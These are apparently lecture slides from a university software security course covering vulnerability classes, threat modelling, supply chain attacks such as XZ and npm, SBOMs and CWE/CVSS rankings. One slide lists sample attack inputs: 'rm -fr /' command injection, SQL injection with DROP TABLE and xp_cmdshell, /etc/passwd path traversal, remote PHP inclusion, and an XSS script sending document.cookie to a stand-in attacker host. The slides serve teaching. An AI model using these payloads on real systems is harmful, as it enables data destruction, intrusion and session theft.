
Software Security

Vulnerabilities



Erik Poll

Digital Security

Radboud University Nijmegen

Recap: security vulnerabilities so far

- Memory corruption, incl.
 - spatial: buffer overrun
 - temporal: use-after free, double free
 - NULL dereference
- Format string attacks
- Integer overflow
- OS command injection in PREfast exercise:


```
int execute( [SA_Pre(Tainted=SA_No)] char *buf) { return system(buf); }
```

TOCTOU / race conditions

Today: all other types of vulnerabilities

Threat modelling

How would you attack this website?



Fun IMPUT to try

- Ridiculously long inputs to cause buffer overflows
 - or with %x%x%x%x%x to trigger format string attacks
- OS command injection erik@ru.nl; rm -fr /
- SQL injection erik@ru.nl '; DROP TABLE Customers;-erik@ru.nl '; exec master.dbo.xp_cmdshell
- Path traversal http://company.nl/XYZ123?lang=../../etc/passwd
 http://company.nl/XYZ123?lang=../../../dev/urandom
- IDOR
- Forced Browsing http://company.nl/XYZ123?uid=s000 , s001 etc.
- HTML injection & XSS eg via HTML input in the text field

```
<html><img src="http://a.com/a.jpg" width ="999999999" height="999999999">
  <html> <script> ...; img.src ="http://mafia.com/" + document.cookie</script>
  or via URL parameter
```

http://company.nl/XYZ123/index.html?uid=s456&option=<script>...</script>

- CSRF
- noSQL, LDAP, XML, SSI, XXE, OGNL, ... injection

Old-fashioned PHP attacks

PHP file injection

http://company.nl/XYZ123/index.html?option=../../admin/menu.php%00

How would you get full Remote Code Execution (RCE)?

 PHP file injection with a file the attacker can control http://company.nl/XYZ123/index.html?option=../../users/john/profile_pic.jpg%00

Remote PHP file injection

http://company.nl/XYZ123/index.html?option=http://mafia.com/attack.php

Fun files to upload

Just to DoS:


- zip or XML bomb
 - 40 Kb zip file can expands to 4GB when unzipped aka zip of death
 - 1Kb XML file can expand to 3 GB when XML parser expands recursive definitions as part of canonicalisation


To take over control in more interesting ways:

- .exe file
- malformed PDF file to exploit flaw in PDF viewer
- malformed XXX file to exploit flaw in XXX viewer
 esp. for complex file formats with viewers in memory-unsafe languages
- Word or Excel document with macros
 - old-time favourite, harder to get working due to tighter settings & taint tracking of downloaded files

Two kinds of problems: bugs vs features

1. Processing Flaws





bug vs features

There are two ways for software to go off the rails:

- 1) the input triggers a bug
- 2) the input triggers a feature

Of course, it is then a bug that this feature is exposed.

This can be due to broken/missing access control or injection attacks

For attackers it is easier to exploit features than bugs


Attack surface

Understanding attack surface is first step in threat modelling in addition to the *outer* attack surface, there are usually also *inner* attack surfaces deeper inside the application


eg the SQL database in case of SQLi

For good threat modelling you want to consider the architecture of

the application




You do not have to attack just as customer...



Overlooked attack surfaces


Malicious input can come from unexpected, 'trusted' sources







Overlooked attack surfaces: 2-nd order attacks



Example: 2nd order SQL injection

Suppose I want to access John's account

- 1. I register an account for myself with the name john' --
- 2. I log in as john' -- and change my password
- 3. If the password change is done with the SQL statement

```
UPDATE users

SET password='abcd1234'


WHERE username='john' --' and password='abc'

then I have reset John's password
```


 Here abcd1234 is user input, but the dangerous input comes from the server's own database, where it was injected earlier

The moral of the story: don't trust *any* input, not even data coming from sources you think can trust


Other attack vectors, besides these input possibilities?



Other attack vectors, besides these input possibilities?



Other attack vectors



Closed vs Open Source code

Who thinks open source code is more secure than closed / proprietary code?

- It depends... some open source is crappy, some closed source is great, and vice versa
- More importantly, for most applications, the distinction is meaningless: most proprietary code relies on huge quantities of open source libraries, thanks to github, Maven, Pypi, npm, ...
- Extra/bigger risk with open source: supply chain attacks

Supply chain attacks: NotPetya, MegaCart, Solarwinds, ...

ANDY GREENBERG

EXCERPT

SECURITY AUG 22, 2018 5:00 AM

The Untold Story of NotPetya, the Most Devastating Cyberattack in History

Crippled ports. Paralyzed corporations. Frozen government agencies. How a single piece of code crashed the world.

How Hackers Slipped by British Airways' Defenses

Security researchers have detailed how a criminal hacking gang used just 22 lines of code to steal credit card data from hundreds of thousands of British Airways customers.



Ticketmaster Blames Third Party Over Data Breach

By Kevin Townsend on June 28, 2018

Microsoft Reports Russian Hackers Behind SolarWinds Attack Actively Targeting Tech Supply Chains, Focusing on Vulnerable Resellers

SCOTT IKEDA · OCTOBER 29, 2021

https://www.wired.com/story/magecart-amazon-cloud-hacks

https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/

XZ-Utils supply chain attack (2024)



ALERT



Reported Supply Chain Compromise Affecting XZ Utils Data Compression Library, CVE-2024-3094

Release Date: March 29, 2024

DAN GOODIN, ARS TECHNICA

SECURITY APR 2, 2024 4:00 AM

The XZ Backdoor: Everything You Need to Know

Details are starting to emerge about a stunning supply chain attack that sent the open source software community reeling.

https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094 https://www.wired.com/story/xz-backdoor-everything-you-need-to-know/

npm supply chain attack (Sept 2025)

The Register®



Self-propagating worm fuels latest npm supply chain compromise

Intrusions bear the same hallmarks as recent Nx mess

16 Sep 2025 | 15 🖵



More packages poisoned in npm attack, but would-be crypto thieves left pocket change

Miscreants cost victims time rather than money


09 Sep 2025 | 8 🖵



Dev snared in crypto phishing net, 18 npm packages compromised

Popular npm packages debug, chalk, and others hijacked in massive supply chain attack

08 Sep 2025 | 8 🖵



Nx NPM packages poisoned in Al-assisted supply chain attack

Stolen dev credentials posted to GitHub as attackers abuse CLI tools for recon

27 Aug 2025 | 2 🖵

Upcoming PyPi supply chain attack? (Sept 2025)

The Register®



New string of phishing attacks targets Python developers

If you recently got an email asking you to verify your credentials to a PyPI site, better change that password

24 Sep 2025 | 3 🖵

SBOM

Software Bill of Materials (SBOM) is an inventory of software components of some product

"a complete, formally structured list of components, libraries, and modules that are required to build (i.e. compile and link) a given piece of software and the supply chain relationships between them. These components can be open source or proprietary, free or paid, and widely available or restricted access"

Goal: insight in supply chain & dependencies,

- to be aware of attack surface that the supply chain brings
- to manage patching

US & EU regulation is pushing to make SBOMs mandatory

Current state-of-the art: some companies are producing SBOMs, but nobody seems to be using other people's SBOMs yet

SCA

Software Composition Analysis (SCA) tools statically analyse code to recursively find all the dependencies

effectively producing an SBOM

to then

- check for known CVEs
- check for suspicious or poorly maintained code

How?

- checking for unfixed bugs & lack of updates
- lack of developer activity, ...
- typo-squatting
- ...

Most organisations find that meeting the EU CRA requirement of 'no known exploitable bugs' is hard if they look at their dependencies

Observations about threat modelling

 For 'proper' threat modelling you'd also want to consider the nature & purpose of the application

i.e. not only think about HOW an attacker could attack, but also WHY an attacker would want to, WHAT they'd want to achieve, or WHO would want to attack


- Threat modelling involves an attacker model that describes some aspects of the attacker we're worried about, eg.
 - level of access (aka attack surface)
 - capabilities, skills & resources
 - motivation

Classes of security vulnerabilities

Classifications & rankings of security flaws

Many proposals to categorise & rank common security types







SANS CWE Top 25 [2021]

- 1. Out-of-bounds Write
- 2. Cross-Site Scripting (XSS)
- 3. Out-of-bounds Read
- 4. Improper Input Validation
- 5. OS command injection
- 6. SQL Injection
- 7. Use After Free
- 8. Path traversal
- 9. Cross-Site Request Forgery (CSRF)
- 10. Unrestricted Upload of File with Dangerous Type
- 11. Missing Authentication for Critical Function
- 12. Integer Overflow or Wraparound
- 13. Deserialization of Untrusted Data
- 14. Improper Authentication

- 15. NULL Pointer Dereference
- 16. Use of Hard-coded Credentials
- 17. Improper Restriction of Operations within Buffer Bounds
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- 20. Exposure of Sensitive Information to an Unauthorized Actor
- 21. Insufficiently Protected Credentials
- 22. Incorrect Permission Assignment for Critical Resource
- 23. Improper Restriction of XML External Entity Reference (XXE)
- 24. Server-Side Request Forgery (SSRF)
- 25. Command Injection

CVE, CWE

• CVE - Common *Vulnerability* Enumeration



https://cve.mitre.org

CWE - Common Weakness Enumeration

https://cwe.mitre.org

Here weakness = 'bug category', which is non-standard terminology

CVSS, EPSS, ...

- CVSS is the score for the severity rating of a security flaw
 - current scheme is CVSS 4.0
- NB CVSS ≠ risk
 - A high CVSS score in an application does not necessarily mean a high risk to your organisation!
 - Still, many organisations mistakenly use CVSS score to prioritise patches
- Renewed interest in alternatives to CVSS in recent years, notably EPSS score that tries to predict exploitability
- Other, less popular alternatives: SSVC, VPR, ...

KEV list

KEV list of Known Eploitable Vulnernabilities

- subset of CVE list
- those CVEs for which there is an exploit in the wild


https://www.cisa.gov/known-exploited-vulnerabilities-catalog

- Since 2022. 'Only' 1400 so far (Oct 2025)
- US government services have to patch most urgent vulnerabilities within 2 weeks, least urgent within 6 months

CWE Top 940 (or Top 1365?) [Nov 2024]

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See https://cwe.mitre.org/data/definitions/1000.html



Classifications of security flaws

These classifications & taxonomies are

- very useful
 - for awareness & prevention
 - for understanding & tackling root causes
- very messy
 - as you can classify flaws in different ways
- always incomplete
 - there are always new & more attacks
 - application-specific flaws will be missing in generic taxonomies
- can be misleading
 - e.g. 'lack of input validation' is often misnomer, as should be clear in next weeks

Memory corruption?

- 1. Out-of-bounds Write
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- Out-of-bounds Read
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Injection attacks?

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Injection attacks

- 1. Out-of-bounds Write
- 2. Cross-Site Scripting (XSS)
- 3. Out-of-bounds Read
- 4. Improper Input Validation
- 5. OS command injection
- 6. SQL Injection
- 7. Use After Free
- 8. Path traversal
- 9. Cross-Site Request Forgery (CSRF)
- 10. Unrestricted Upload of File with Dangerous Type
- 11. Missing Authentication for Critical Function
- 12. Integer Overflow or Wraparound
- 13. Deserialization of Untrusted Data
- 14. Improper Authentication

- 15. NULL Pointer Dereference
- 16. Use of Hard-coded Credentials
- 17. Improper Restriction of Operations within Buffer Bounds
- 18. Missing Authorization
- 19. Incorrect Default Permissions
- 20. Exposure of Sensitive Information to an Unauthorized Actor
- 21. Insufficiently Protected Credentials
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Access control? (authentication + authorisation)

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memory corruption, injection attacks, access control / authentication

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The big three

The big three classes of security problems are

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- 2. access control incl. authentication
- 3. insecure input handling, esp. injection attacks

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Structural solutions?

- 1. Memory-safe languages!
- 2. Access control problems probably hardest to structurally prevent
- 3. Techniques for secure input handling can provide structural improvement, as we'll discuss next weeks